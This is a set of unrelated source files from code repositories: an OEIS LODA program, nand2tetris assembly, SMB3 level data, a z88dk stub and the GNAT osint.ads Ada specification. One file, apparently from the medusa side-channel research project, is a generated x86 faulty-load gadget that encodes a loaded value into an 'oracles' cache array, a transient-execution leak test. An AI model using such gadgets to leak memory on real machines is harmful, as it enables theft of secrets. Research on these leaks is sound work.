oeis/166/A166676.asm | neoneye/loda-programs | 11 | 161263 | <filename>oeis/166/A166676.asm
; A166676: Totally multiplicative sequence with a(p) = 9p+2 for prime p.
; Submitted by <NAME>
; 1,20,29,400,47,580,65,8000,841,940,101,11600,119,1300,1363,160000,155,16820,173,18800,1885,2020,209,232000,2209,2380,24389,26000,263,27260,281,3200000,2929,3100,3055,336400,335,3460,3451,376000,371,37700,389,40400,39527,4180,425,4640000,4225,44180,4495,47600,479,487780,4747,520000,5017,5260,533,545200,551,5620,54665,64000000,5593,58580,605,62000,6061,61100,641,6728000,659,6700,64061,69200,6565,69020,713,7520000,707281,7420,749,754000,7285,7780,7627,808000,803,790540,7735,83600,8149,8500,8131
add $0,1
mul $0,2
mov $1,1
mov $2,2
mov $4,2
lpb $0
mul $1,$4
mov $3,$0
sub $3,1
add $5,1
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
div $0,$2
mov $4,$2
add $5,$2
lpb $5
mul $4,8
add $4,$5
mov $5,1
lpe
lpe
mov $0,$1
div $0,38
|
projects/08/VMtranslator/script.asm | ITFS777/n2t | 0 | 179118 | @10
D=A
@R13
M=D
@R13
A=M-1
D=M
@R13
D=M
D=D-1
A=D
D=M
// Stack
// return_address
(PUSH_TRUE)
@SP
A=M
M=-1
@SP
M=M+1
@R15
A=M
0;JMP
@Sys.init
0;JMP |
PRG/levels/Airship/W4A.asm | narfman0/smb3_pp1 | 0 | 23766 | <reponame>narfman0/smb3_pp1
; Original address was $B13A
; World 4 Airship
.word W4Airship_BossL ; Alternate level layout
.word W4Airship_BossO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_0B0
.byte LEVEL2_BGPAL_03 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_80
.byte LEVEL3_TILESET_10 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(10) | LEVEL4_INITACT_AIRSHIPB
.byte LEVEL5_BGM_AIRSHIP | LEVEL5_TIME_300
.byte $0F, $0D, $77, $11, $0D, $76, $0F, $1A, $A1, $0D, $24, $A3, $0A, $25, $7C, $0C
.byte $36, $A5, $0C, $48, $A2, $0A, $56, $A4, $0F, $5A, $A5, $0A, $32, $70, $0B, $02
.byte $1D, $0C, $03, $20, $14, $0D, $04, $20, $12, $0E, $05, $18, $0F, $06, $17, $10
.byte $07, $16, $11, $08, $15, $12, $0A, $30, $03, $0B, $02, $03, $0C, $03, $03, $0D
.byte $04, $03, $0E, $05, $03, $0F, $06, $03, $10, $07, $03, $51, $08, $0A, $52, $0A
.byte $0B, $0D, $09, $04, $0D, $17, $45, $0E, $16, $44, $0E, $18, $12, $0F, $18, $12
.byte $0D, $1F, $15, $11, $1A, $17, $12, $1A, $30, $19, $52, $1A, $0B, $0D, $1A, $01
.byte $0B, $13, $01, $27, $16, $82, $0C, $20, $13, $0A, $24, $42, $11, $22, $17, $11
.byte $2A, $19, $0A, $23, $80, $10, $29, $02, $10, $2C, $02, $10, $2F, $02, $2E, $20
.byte $83, $2F, $20, $83, $0A, $33, $42, $0B, $3A, $11, $0C, $34, $1F, $12, $35, $16
.byte $12, $3C, $19, $13, $35, $30, $10, $53, $35, $0B, $0A, $34, $70, $0D, $3D, $02
.byte $11, $38, $01, $29, $3E, $01, $0C, $40, $13, $0B, $48, $14, $0C, $48, $14, $0E
.byte $46, $41, $0F, $47, $11, $11, $49, $14, $12, $49, $14, $13, $49, $30, $04, $53
.byte $49, $0B, $0A, $48, $01, $11, $42, $01, $0D, $4A, $02, $0A, $53, $13, $0F, $56
.byte $14, $12, $50, $15, $12, $5B, $13, $13, $50, $14, $13, $55, $42, $13, $5B, $42
.byte $13, $5C, $12, $14, $50, $14, $15, $51, $13, $15, $56, $14, $16, $54, $30, $07
.byte $14, $50, $03, $55, $51, $0A, $56, $54, $0B, $0B, $55, $02, $0E, $5A, $01, $11
.byte $51, $01, $14, $58, $02, $15, $65, $30, $04, $0C, $64, $44, $0C, $65, $15, $11
.byte $64, $13, $14, $66, $13, $15, $60, $15, $16, $60, $30, $05, $56, $60, $0B, $0C
.byte $6E, $1A, $0D, $6E, $1A, $0E, $6D, $1B, $0F, $6C, $1B, $10, $6B, $1B, $11, $6A
.byte $1B, $12, $6A, $1A, $13, $6A, $30, $0A, $0B, $6A, $01, $6B, $6E, $2A, $0D, $6D
.byte $01, $6F, $6E, $63, $10, $67, $01, $12, $64, $B1, $12, $64, $C2, $12, $65, $D2
.byte $14, $62, $02, $13, $75, $71, $28, $78, $01, $2A, $72, $91, $E7, $02, $60, $FF
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_1_1042.asm | ljhsiun2/medusa | 9 | 7263 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x16cda, %rsi
lea addresses_D_ht+0x1d2aa, %rdi
xor %rdx, %rdx
mov $95, %rcx
rep movsl
nop
xor $59522, %rax
lea addresses_UC_ht+0x1807e, %rax
nop
nop
nop
nop
sub $38307, %rdi
vmovups (%rax), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
nop
nop
nop
add $15143, %rcx
lea addresses_D_ht+0x17cca, %rax
nop
nop
sub $7171, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
nop
add %rax, %rax
lea addresses_A_ht+0x3e92, %rdi
nop
nop
nop
nop
add $31201, %rdx
mov (%rdi), %ax
nop
nop
inc %rdi
lea addresses_A_ht+0xa38a, %r8
nop
nop
nop
nop
nop
xor %r11, %r11
movb (%r8), %al
nop
nop
sub $42181, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r8
push %rbp
push %rdx
// Store
lea addresses_UC+0xab7a, %r12
clflush (%r12)
nop
nop
nop
add $61451, %r13
mov $0x5152535455565758, %r14
movq %r14, %xmm4
vmovntdq %ymm4, (%r12)
nop
nop
sub %r13, %r13
// Store
lea addresses_PSE+0x793, %r15
nop
nop
nop
sub $51715, %rbp
mov $0x5152535455565758, %rdx
movq %rdx, %xmm7
movups %xmm7, (%r15)
nop
nop
sub %r15, %r15
// Store
lea addresses_A+0x106ca, %r13
nop
nop
xor $123, %r8
mov $0x5152535455565758, %rdx
movq %rdx, (%r13)
nop
nop
nop
nop
nop
xor $53364, %rdx
// Load
mov $0x677fa3000000028a, %r13
nop
nop
nop
nop
nop
xor $60747, %r12
movb (%r13), %dl
cmp %rdx, %rdx
// Store
lea addresses_RW+0x233e, %r14
nop
nop
nop
dec %r13
mov $0x5152535455565758, %r12
movq %r12, %xmm0
movups %xmm0, (%r14)
cmp $24301, %rdx
// Store
lea addresses_UC+0xd14a, %rdx
nop
nop
nop
xor %r15, %r15
movl $0x51525354, (%rdx)
nop
nop
nop
nop
nop
cmp %rdx, %rdx
// Store
lea addresses_PSE+0x164ca, %r15
clflush (%r15)
nop
nop
nop
cmp $50329, %r12
mov $0x5152535455565758, %rdx
movq %rdx, (%r15)
nop
nop
inc %r15
// Faulty Load
lea addresses_PSE+0x164ca, %r8
nop
nop
nop
nop
nop
xor %r15, %r15
mov (%r8), %r14w
lea oracles, %r8
and $0xff, %r14
shlq $12, %r14
mov (%r8,%r14,1), %r14
pop %rdx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 3, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'58': 1}
58
*/
|
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/exp2.asm | ahjelm/z88dk | 640 | 179214 | <filename>libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/exp2.asm
SECTION code_fp_am9511
PUBLIC _exp2
EXTERN cam32_sdcc_exp2
defc _exp2 = cam32_sdcc_exp2
|
llvm-gcc-4.2-2.9/gcc/ada/osint.ads | vidkidz/crossbridge | 1 | 30360 | <reponame>vidkidz/crossbridge<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- O S I N T --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2005 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains the low level, operating system routines used in
-- the GNAT compiler and binder for command line processing and file input
-- output.
with GNAT.OS_Lib; use GNAT.OS_Lib;
with System; use System;
with Types; use Types;
pragma Elaborate (GNAT.OS_Lib);
package Osint is
Multi_Unit_Index_Character : Character := '~';
-- The character before the index of the unit in a multi-unit source,
-- in ALI and object file names. This is not a constant, because it is
-- changed to '$' on VMS.
Ada_Include_Path : constant String := "ADA_INCLUDE_PATH";
Ada_Objects_Path : constant String := "ADA_OBJECTS_PATH";
Project_Include_Path_File : constant String := "ADA_PRJ_INCLUDE_FILE";
Project_Objects_Path_File : constant String := "ADA_PRJ_OBJECTS_FILE";
procedure Initialize;
-- Initialize internal tables
function Normalize_Directory_Name (Directory : String) return String_Ptr;
-- Verify and normalize a directory name. If directory name is invalid,
-- this will return an empty string. Otherwise it will insure a trailing
-- slash and make other normalizations.
type File_Type is (Source, Library, Config, Definition, Preprocessing_Data);
function Find_File
(N : File_Name_Type;
T : File_Type) return File_Name_Type;
-- Finds a source, library or config file depending on the value
-- of T following the directory search order rules unless N is the
-- name of the file just read with Next_Main_File and already
-- contains directiory information, in which case just look in the
-- Primary_Directory. Returns File_Name_Type of the full file name
-- if found, No_File if file not found. Note that for the special
-- case of gnat.adc, only the compilation environment directory is
-- searched, i.e. the directory where the ali and object files are
-- written. Another special case is when Debug_Generated_Code is
-- set and the file name ends on ".dg", in which case we look for
-- the generated file only in the current directory, since that is
-- where it is always built.
function Get_File_Names_Case_Sensitive return Int;
pragma Import (C, Get_File_Names_Case_Sensitive,
"__gnat_get_file_names_case_sensitive");
File_Names_Case_Sensitive : constant Boolean :=
Get_File_Names_Case_Sensitive /= 0;
-- Set to indicate whether the operating system convention is for file
-- names to be case sensitive (e.g., in Unix, set True), or non case
-- sensitive (e.g., in OS/2, set False).
procedure Canonical_Case_File_Name (S : in out String);
-- Given a file name, converts it to canonical case form. For systems
-- where file names are case sensitive, this procedure has no effect.
-- If file names are not case sensitive (i.e. for example if you have
-- the file "xyz.adb", you can refer to it as XYZ.adb or XyZ.AdB), then
-- this call converts the given string to canonical all lower case form,
-- so that two file names compare equal if they refer to the same file.
function Number_Of_Files return Int;
-- Gives the total number of filenames found on the command line
No_Index : constant := -1;
-- Value used in Add_File to indicate no index is specified for main
procedure Add_File (File_Name : String; Index : Int := No_Index);
-- Called by the subprogram processing the command line for each file name
-- found. The index, when not defaulted to No_Index is the index of the
-- subprogram in its source, zero indicating that the source is not
-- multi-unit.
procedure Find_Program_Name;
-- Put simple name of current program being run (excluding the directory
-- path) in Name_Buffer, with the length in Name_Len.
function Program_Name (Nam : String) return String_Access;
-- In the native compilation case, Create a string containing Nam. In the
-- cross compilation case, looks at the prefix of the current program being
-- run and prepend it to Nam. For instance if the program being run is
-- <target>-gnatmake and Nam is "gcc", the returned value will be a pointer
-- to "<target>-gcc". This function clobbers Name_Buffer and Name_Len.
procedure Write_Program_Name;
-- Writes name of program as invoked to the current output
-- (normally standard output).
procedure Fail (S1 : String; S2 : String := ""; S3 : String := "");
pragma No_Return (Fail);
-- Outputs error messages S1 & S2 & S3 preceded by the name of the
-- executing program and exits with E_Fatal. The output goes to standard
-- error, except if special output is in effect (see Output).
function Is_Directory_Separator (C : Character) return Boolean;
-- Returns True if C is a directory separator
function Get_Directory (Name : File_Name_Type) return File_Name_Type;
-- Get the prefix directory name (if any) from Name. The last separator
-- is preserved. Return the normalized current directory if there is no
-- directory part in the name.
function Is_Readonly_Library (File : File_Name_Type) return Boolean;
-- Check if this library file is a read-only file
function Strip_Directory (Name : File_Name_Type) return File_Name_Type;
-- Strips the prefix directory name (if any) from Name. Returns the
-- stripped name. Name cannot end with a directory separator.
function Strip_Suffix (Name : File_Name_Type) return File_Name_Type;
-- Strips the suffix (the last '.' and whatever comes after it) from Name.
-- Returns the stripped name.
function Executable_Name (Name : File_Name_Type) return File_Name_Type;
-- Given a file name it adds the appropriate suffix at the end so that
-- it becomes the name of the executable on the system at end. For
-- instance under DOS it adds the ".exe" suffix, whereas under UNIX no
-- suffix is added.
function File_Stamp (Name : File_Name_Type) return Time_Stamp_Type;
-- Returns the time stamp of file Name. Name should include relative
-- path information in order to locate it. If the source file cannot be
-- opened, or Name = No_File, and all blank time stamp is returned (this is
-- not an error situation).
type String_Access_List is array (Positive range <>) of String_Access;
-- Deferenced type used to return a list of file specs in
-- To_Canonical_File_List.
type String_Access_List_Access is access all String_Access_List;
-- Type used to return a String_Access_List without dragging in secondary
-- stack.
function To_Canonical_File_List
(Wildcard_Host_File : String;
Only_Dirs : Boolean) return String_Access_List_Access;
-- Expand a wildcard host syntax file or directory specification (e.g. on
-- a VMS host, any file or directory spec that contains:
-- "*", or "%", or "...")
-- and return a list of valid Unix syntax file or directory specs.
-- If Only_Dirs is True, then only return directories.
function To_Canonical_Dir_Spec
(Host_Dir : String;
Prefix_Style : Boolean) return String_Access;
-- Convert a host syntax directory specification (e.g. on a VMS host:
-- "SYS$DEVICE:[DIR]") to canonical (Unix) syntax (e.g. "/sys$device/dir").
-- If Prefix_Style then make it a valid file specification prefix. A file
-- specification prefix is a directory specification that can be appended
-- with a simple file specification to yield a valid absolute or relative
-- path to a file. On a conversion to Unix syntax this simply means the
-- spec has a trailing slash ("/").
function To_Canonical_File_Spec
(Host_File : String) return String_Access;
-- Convert a host syntax file specification (e.g. on a VMS host:
-- "SYS$DEVICE:[DIR]FILE.EXT;69 to canonical (Unix) syntax (e.g.
-- "/sys$device/dir/file.ext.69").
function To_Canonical_Path_Spec
(Host_Path : String) return String_Access;
-- Convert a host syntax Path specification (e.g. on a VMS host:
-- "SYS$DEVICE:[BAR],DISK$USER:[FOO] to canonical (Unix) syntax (e.g.
-- "/sys$device/foo:disk$user/foo").
function To_Host_Dir_Spec
(Canonical_Dir : String;
Prefix_Style : Boolean) return String_Access;
-- Convert a canonical syntax directory specification to host syntax.
-- The Prefix_Style flag is currently ignored but should be set to
-- False.
function To_Host_File_Spec
(Canonical_File : String) return String_Access;
-- Convert a canonical syntax file specification to host syntax
function Relocate_Path
(Prefix : String;
Path : String) return String_Ptr;
-- Given an absolute path and a prefix, if Path starts with Prefix,
-- replace the Prefix substring with the root installation directory.
-- By default, try to compute the root installation directory by looking
-- at the executable name as it was typed on the command line and, if
-- needed, use the PATH environment variable. If the above computation
-- fails, return Path. This function assumes Prefix'First = Path'First.
function Shared_Lib (Name : String) return String;
-- Returns the runtime shared library in the form -l<name>-<version> where
-- version is the GNAT runtime library option for the platform. For example
-- this routine called with Name set to "gnat" will return "-lgnat-5.02"
-- on UNIX and Windows and -lgnat_5_02 on VMS.
-------------------------
-- Search Dir Routines --
-------------------------
function Include_Dir_Default_Prefix return String;
-- Return the directory of the run-time library sources, as modified
-- by update_path.
function Object_Dir_Default_Prefix return String;
-- Return the directory of the run-time library ALI and object files, as
-- modified by update_path.
procedure Add_Default_Search_Dirs;
-- This routine adds the default search dirs indicated by the
-- environment variables and sdefault package.
procedure Add_Lib_Search_Dir (Dir : String);
-- Add Dir at the end of the library file search path
procedure Add_Src_Search_Dir (Dir : String);
-- Add Dir at the end of the source file search path
procedure Get_Next_Dir_In_Path_Init
(Search_Path : String_Access);
function Get_Next_Dir_In_Path
(Search_Path : String_Access) return String_Access;
-- These subprograms are used to parse out the directory names in a
-- search path specified by a Search_Path argument. The procedure
-- initializes an internal pointer to point to the initial directory
-- name, and calls to the function return successive directory names,
-- with a null pointer marking the end of the list.
type Search_File_Type is (Include, Objects);
procedure Add_Search_Dirs
(Search_Path : String_Ptr;
Path_Type : Search_File_Type);
-- These procedure adds all the search directories that are in Search_Path
-- in the proper file search path (library or source)
function Get_Primary_Src_Search_Directory return String_Ptr;
-- Retrieved the primary directory (directory containing the main source
-- file for Gnatmake.
function Nb_Dir_In_Src_Search_Path return Natural;
function Dir_In_Src_Search_Path (Position : Natural) return String_Ptr;
-- Functions to access the directory names in the source search path
function Nb_Dir_In_Obj_Search_Path return Natural;
function Dir_In_Obj_Search_Path (Position : Natural) return String_Ptr;
-- Functions to access the directory names in the Object search path
Include_Search_File : constant String_Access :=
new String'("ada_source_path");
Objects_Search_File : constant String_Access :=
new String'("ada_object_path");
-- Names of the files containg the default include or objects search
-- directories. These files, located in Sdefault.Search_Dir_Prefix, do
-- not necessarily exist.
Exec_Name : String_Ptr;
-- Executable name as typed by the user (used to compute the
-- executable prefix).
function Read_Default_Search_Dirs
(Search_Dir_Prefix : String_Access;
Search_File : String_Access;
Search_Dir_Default_Name : String_Access) return String_Access;
-- Read and return the default search directories from the file located
-- in Search_Dir_Prefix (as modified by update_path) and named Search_File.
-- If no such file exists or an error occurs then instead return the
-- Search_Dir_Default_Name (as modified by update_path).
function Get_RTS_Search_Dir
(Search_Dir : String;
File_Type : Search_File_Type) return String_Ptr;
-- This function retrieves the paths to the search (resp. lib) dirs and
-- return them. The search dir can be absolute or relative. If the search
-- dir contains Include_Search_File (resp. Object_Search_File), then this
-- function reads and returns the default search directories from the file.
-- Otherwise, if the directory is absolute, it will try to find 'adalib'
-- (resp. 'adainclude'). If found, null is returned. If the directory is
-- relative, the following directories for the directories 'adalib' and
-- 'adainclude' will be scanned:
--
-- - current directory (from which the tool has been spawned)
-- - $GNAT_ROOT/gcc/gcc-lib/$targ/$vers/
-- - $GNAT_ROOT/gcc/gcc-lib/$targ/$vers/rts-
--
-- The scan will stop as soon as the directory being searched for (adalib
-- or adainclude) is found. If the scan fails, null is returned.
-----------------------
-- Source File Input --
-----------------------
-- Source file input routines are used by the compiler to read the main
-- source files and the subsidiary source files (e.g. with'ed units), and
-- also by the binder to check presence/time stamps of sources.
procedure Read_Source_File
(N : File_Name_Type;
Lo : Source_Ptr;
Hi : out Source_Ptr;
Src : out Source_Buffer_Ptr;
T : File_Type := Source);
-- Allocates a Source_Buffer of appropriate length and then reads the
-- entire contents of the source file N into the buffer. The address of
-- the allocated buffer is returned in Src.
--
-- Each line of text is terminated by one of the sequences:
--
-- CR
-- CR/LF
-- LF/CR
-- LF
-- The source is terminated by an EOF (16#1A#) character, which is
-- the last charcater of the returned source bufer (note that any
-- EOF characters in positions other than the last source character
-- are treated as representing blanks).
--
-- The logical lower bound of the source buffer is the input value of Lo,
-- and on exit Hi is set to the logical upper bound of the source buffer.
-- Note that the returned value in Src points to an array with a physical
-- lower bound of zero. This virtual origin addressing approach means that
-- a constrained array pointer can be used with a low bound of zero which
-- results in more efficient code.
--
-- If the given file cannot be opened, then the action depends on whether
-- this file is the current main unit (i.e. its name matches the name
-- returned by the most recent call to Next_Main_Source). If so, then the
-- failure to find the file is a fatal error, an error message is output,
-- and program execution is terminated. Otherwise (for the case of a
-- subsidiary source loaded directly or indirectly using with), a file
-- not found condition causes null to be set as the result value.
--
-- Note that the name passed to this function is the simple file name,
-- without any directory information. The implementation is responsible
-- for searching for the file in the appropriate directories.
--
-- Note the special case that if the file name is gnat.adc, then the
-- search for the file is done ONLY in the directory corresponding to
-- the current compilation environment, i.e. in the same directory
-- where the ali and object files will be written.
function Full_Source_Name return File_Name_Type;
function Current_Source_File_Stamp return Time_Stamp_Type;
-- Returns the full name/time stamp of the source file most recently read
-- using Read_Source_File. Calling this routine entails no source file
-- directory lookup penalty.
function Full_Source_Name (N : File_Name_Type) return File_Name_Type;
function Source_File_Stamp (N : File_Name_Type) return Time_Stamp_Type;
-- Returns the full name/time stamp of the source file whose simple name
-- is N which should not include path information. Note that if the file
-- cannot be located No_File is returned for the first routine and an
-- all blank time stamp is returned for the second (this is not an error
-- situation). The full name includes the appropriate directory
-- information. The source file directory lookup penalty is incurred
-- every single time the routines are called unless you have previously
-- called Source_File_Data (Cache => True). See below.
function Current_File_Index return Int;
-- Return the index in its source file of the current main unit
function Matching_Full_Source_Name
(N : File_Name_Type;
T : Time_Stamp_Type) return File_Name_Type;
-- Same semantics than Full_Source_Name but will search on the source
-- path until a source file with time stamp matching T is found. If
-- none is found returns No_File.
procedure Source_File_Data (Cache : Boolean);
-- By default source file data (full source file name and time stamp)
-- are looked up every time a call to Full_Source_Name (N) or
-- Source_File_Stamp (N) is made. This may be undesirable in certain
-- applications as this is uselessly slow if source file data does not
-- change during program execution. When this procedure is called with
-- Cache => True access to source file data does not encurr a penalty if
-- this data was previously retrieved.
-------------------------------------------
-- Representation of Library Information --
-------------------------------------------
-- Associated with each compiled source file is library information,
-- a string of bytes whose exact format is described in the body of
-- Lib.Writ. Compiling a source file generates this library information
-- for the compiled unit, and access the library information for units
-- that were compiled previously on which the unit being compiled depends.
-- How this information is stored is up to the implementation of this
-- package. At the interface level, this information is simply associated
-- with its corresponding source.
-- Several different implementations are possible:
-- 1. The information could be directly associated with the source file,
-- e.g. placed in a resource fork of this file on the Mac, or on
-- MS-DOS, written to the source file after the end of file mark.
-- 2. The information could be written into the generated object module
-- if the system supports the inclusion of arbitrary informational
-- byte streams into object files. In this case there must be a naming
-- convention that allows object files to be located given the name of
-- the corresponding source file.
-- 3. The information could be written to a separate file, whose name is
-- related to the name of the source file by a fixed convention.
-- Which of these three methods is chosen depends on the constraints of the
-- host operating system. The interface described here is independent of
-- which of these approaches is used.
-------------------------------
-- Library Information Input --
-------------------------------
-- These subprograms are used by the binder to read library information
-- files, see section above for representation of these files.
function Read_Library_Info
(Lib_File : File_Name_Type;
Fatal_Err : Boolean := False) return Text_Buffer_Ptr;
-- Allocates a Text_Buffer of appropriate length and reads in the entire
-- source of the library information from the library information file
-- whose name is given by the parameter Name.
--
-- See description of Read_Source_File for details on the format of the
-- returned text buffer (the format is identical). THe lower bound of
-- the Text_Buffer is always zero
--
-- If the specified file cannot be opened, then the action depends on
-- Fatal_Err. If Fatal_Err is True, an error message is given and the
-- compilation is abandoned. Otherwise if Fatal_Err is False, then null
-- is returned. Note that the Lib_File is a simple name which does not
-- include any directory information. The implementation is responsible
-- for searching for the file in appropriate directories.
--
-- If Opt.Check_Object_Consistency is set to True then this routine
-- checks whether the object file corresponding to the Lib_File is
-- consistent with it. The object file is inconsistent if the object
-- does not exist or if it has an older time stamp than Lib_File.
-- This check is not performed when the Lib_File is "locked" (i.e.
-- read/only) because in this case the object file may be buried
-- in a library. In case of inconsistencies Read_Library_Info
-- behaves as if it did not find Lib_File (namely if Fatal_Err is
-- False, null is returned).
function Full_Library_Info_Name return File_Name_Type;
function Full_Object_File_Name return File_Name_Type;
-- Returns the full name of the library/object file most recently read
-- using Read_Library_Info, including appropriate directory information.
-- Calling this routine entails no library file directory lookup
-- penalty. Note that the object file corresponding to a library file
-- is not actually read. Its time stamp is fected when the flag
-- Opt.Check_Object_Consistency is set.
function Current_Library_File_Stamp return Time_Stamp_Type;
function Current_Object_File_Stamp return Time_Stamp_Type;
-- The time stamps of the files returned by the previous two routines.
-- It is an error to call Current_Object_File_Stamp if
-- Opt.Check_Object_Consistency is set to False.
function Full_Lib_File_Name (N : File_Name_Type) return File_Name_Type;
function Library_File_Stamp (N : File_Name_Type) return Time_Stamp_Type;
-- Returns the full name/time stamp of library file N. N should not
-- include path information. Note that if the file cannot be located
-- No_File is returned for the first routine and an all blank time stamp
-- is returned for the second (this is not an error situation). The
-- full name includes the appropriate directory information. The library
-- file directory lookup penalty is incurred every single time this
-- routine is called.
function Lib_File_Name
(Source_File : File_Name_Type;
Munit_Index : Nat := 0) return File_Name_Type;
-- Given the name of a source file, returns the name of the corresponding
-- library information file. This may be the name of the object file, or
-- of a separate file used to store the library information. In either case
-- the returned result is suitable for use in a call to Read_Library_Info.
-- The Munit_Index is the unit index in multiple unit per file mode, or
-- zero in normal single unit per file mode (used to add ~nnn suffix).
-- Note: this subprogram is in this section because it is used by the
-- compiler to determine the proper library information names to be placed
-- in the generated library information file.
-----------------
-- Termination --
-----------------
type Exit_Code_Type is (
E_Success, -- No warnings or errors
E_Warnings, -- Compiler warnings generated
E_No_Code, -- No code generated
E_No_Compile, -- Compilation not needed (smart recompilation)
E_Errors, -- Compiler error messages generated
E_Fatal, -- Fatal (serious) error, e.g. source file not found
E_Abort); -- Internally detected compiler error
procedure Exit_Program (Exit_Code : Exit_Code_Type);
pragma No_Return (Exit_Program);
-- A call to Exit_Program terminates execution with the given status.
-- A status of zero indicates normal completion, a non-zero status
-- indicates abnormal termination.
-------------------------
-- Command Line Access --
-------------------------
-- Direct interface to command line parameters. (We don't want to use
-- the predefined command line package because it defines functions
-- returning string)
function Arg_Count return Natural;
pragma Import (C, Arg_Count, "__gnat_arg_count");
-- Get number of arguments (note: optional globbing may be enabled)
procedure Fill_Arg (A : System.Address; Arg_Num : Integer);
pragma Import (C, Fill_Arg, "__gnat_fill_arg");
-- Store one argument
function Len_Arg (Arg_Num : Integer) return Integer;
pragma Import (C, Len_Arg, "__gnat_len_arg");
-- Get length of argument
private
ALI_Suffix : constant String_Ptr := new String'("ali");
-- The suffix used for the library files (also known as ALI files)
Current_Main : File_Name_Type := No_File;
-- Used to save a simple file name between calls to Next_Main_Source and
-- Read_Source_File. If the file name argument to Read_Source_File is
-- No_File, that indicates that the file whose name was returned by the
-- last call to Next_Main_Source (and stored here) is to be read.
Target_Object_Suffix : constant String := Get_Target_Object_Suffix.all;
-- The suffix used for the target object files
Output_FD : File_Descriptor;
-- The file descriptor for the current library info, tree or binder output
Output_File_Name : File_Name_Type;
-- File_Name_Type for name of open file whose FD is in Output_FD, the name
-- stored does not include the trailing NUL character.
Argument_Count : constant Integer := Arg_Count - 1;
-- Number of arguments (excluding program name)
type File_Name_Array is array (Int range <>) of String_Ptr;
type File_Name_Array_Ptr is access File_Name_Array;
File_Names : File_Name_Array_Ptr :=
new File_Name_Array (1 .. Int (Argument_Count) + 2);
-- As arguments are scanned, file names are stored in this array
-- The strings do not have terminating NUL files. The array is
-- extensible, because when using project files, there may be
-- more files than arguments on the command line.
type File_Index_Array is array (Int range <>) of Int;
type File_Index_Array_Ptr is access File_Index_Array;
File_Indexes : File_Index_Array_Ptr :=
new File_Index_Array (1 .. Int (Argument_Count) + 2);
Current_File_Name_Index : Int := 0;
-- The index in File_Names of the last file opened by Next_Main_Source
-- or Next_Main_Lib_File. The value 0 indicates that no files have been
-- opened yet.
procedure Create_File_And_Check
(Fdesc : out File_Descriptor;
Fmode : Mode);
-- Create file whose name (NUL terminated) is in Name_Buffer (with the
-- length in Name_Len), and place the resulting descriptor in Fdesc.
-- Issue message and exit with fatal error if file cannot be created.
-- The Fmode parameter is set to either Text or Binary (see description
-- of GNAT.OS_Lib.Create_File).
type Program_Type is (Compiler, Binder, Make, Gnatls, Unspecified);
-- Program currently running
procedure Set_Program (P : Program_Type);
-- Indicates to the body of Osint the program currently running.
